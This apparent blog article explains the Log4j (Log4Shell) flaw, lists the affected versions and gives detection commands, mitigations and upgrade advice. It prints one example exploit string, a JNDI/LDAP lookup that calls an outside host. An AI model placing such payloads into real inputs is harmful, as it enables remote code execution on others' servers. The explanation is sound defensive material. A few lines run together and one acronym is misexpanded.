What is Log4j vulnerability and how to mitigate it?
On December 9th of 2021 a critical vulnerability was discovered which is affecting a Java logging package log4j.
Log4j library is used in millions of software applications including Apple iCloud, Steam, Minecraft, Redis, ElasticSearch, Twitter, Tesla, Apache apps just to name a few.
What is Log4J vulnerability?
To understand more about this problem, it’s necessary to understand JNDI(Java Naming and Directory Interface). JNDI is a directory service that allows a Java program to find data through a directory. JNDI has many service provider interfaces (SPIs) that enable it to use a variety of directory services like RMI(Remote Method Interface) Registry, CORBA COS(Common Object Service), and LDAP (Lightweight Directory Access Protocol). LDAP is a very popular directory service and it is the primary focus of this vulnerability.
A Java program can use JNDI and LDAP together to find a Java object containing data that it might require. So essentially the LDAP server can be running on a different machine, which means it could be anywhere on the internet. This flexibility means that if an attacker could control the LDAP URL by causing Log4j to try to write a string like ${jndi:ldap://example.com/a}. If that happens then Log4j will connect to the LDAP server at example.com and retrieve the object. Imagine a Java-based system that logs when the customer’s first name is not found. A malicious user might create an order with a first name that contains the exploit and it might take multiple hops and eventually, it finally executes the script on the server.
Which versions of log4j are affected?
Log4j 1.x versions are not impacted by this vulnerability since the JNDILookup plugin was added only from version 2.0-beta-9 onwards.
Log4j 2.x versions between versions 2.0-beta-9 and 2.14.1 are affected by this vulnerability.
Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.
How to find if my application has the log4j-core jar?
You can run the following command from inside your project directory and find out if you are using log4j library and the version if you are using a maven based project,
> mvn dependency:tree | grep log4j
You can run the below command to find out if your project jar is using the log4j-core jar library.
> jar tvf example_project-0.0.1-SNAPSHOT.jar | grep logInstead of log4j-core if you are using the logback-core jar and log4j-api jar then you don’t have to worry about this vulnerability.
How to mitigate the vulnerability if you cannot update the log4j library to a newer version?
If you are using Log4j v2.10 or above, and cannot upgrade for some reason, then set the property:
log4j2.formatMsgNoLookups=trueOr, an environment variable can also be set for these versions:
LOG4J_FORMAT_MSG_NO_LOOKUPS=trueOr, remove the JndiLookup class from the classpath. You can run the following command to do that.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.classWhich new version should I upgrade it to?
The version Log4j 2.15.0 was released as a possible fix for this critical vulnerability but this version was found to be still vulnerable when the configuration has a pattern layout containing a context lookup (for example, $${ctx:loginId}). Even though this version restricts JNDI connections to localhost by default, this may still result in DOS (Denial of Service) attacks. A new CVE (CVE-2021–45046) was raised for this.
Apache immediately released another version Log4j 2.16.0, in this version the message lookups feature has been completely removed. Also, Log4j now disables access to JNDI by default. JNDI lookups in configuration still work but now they need to be enabled explicitly.
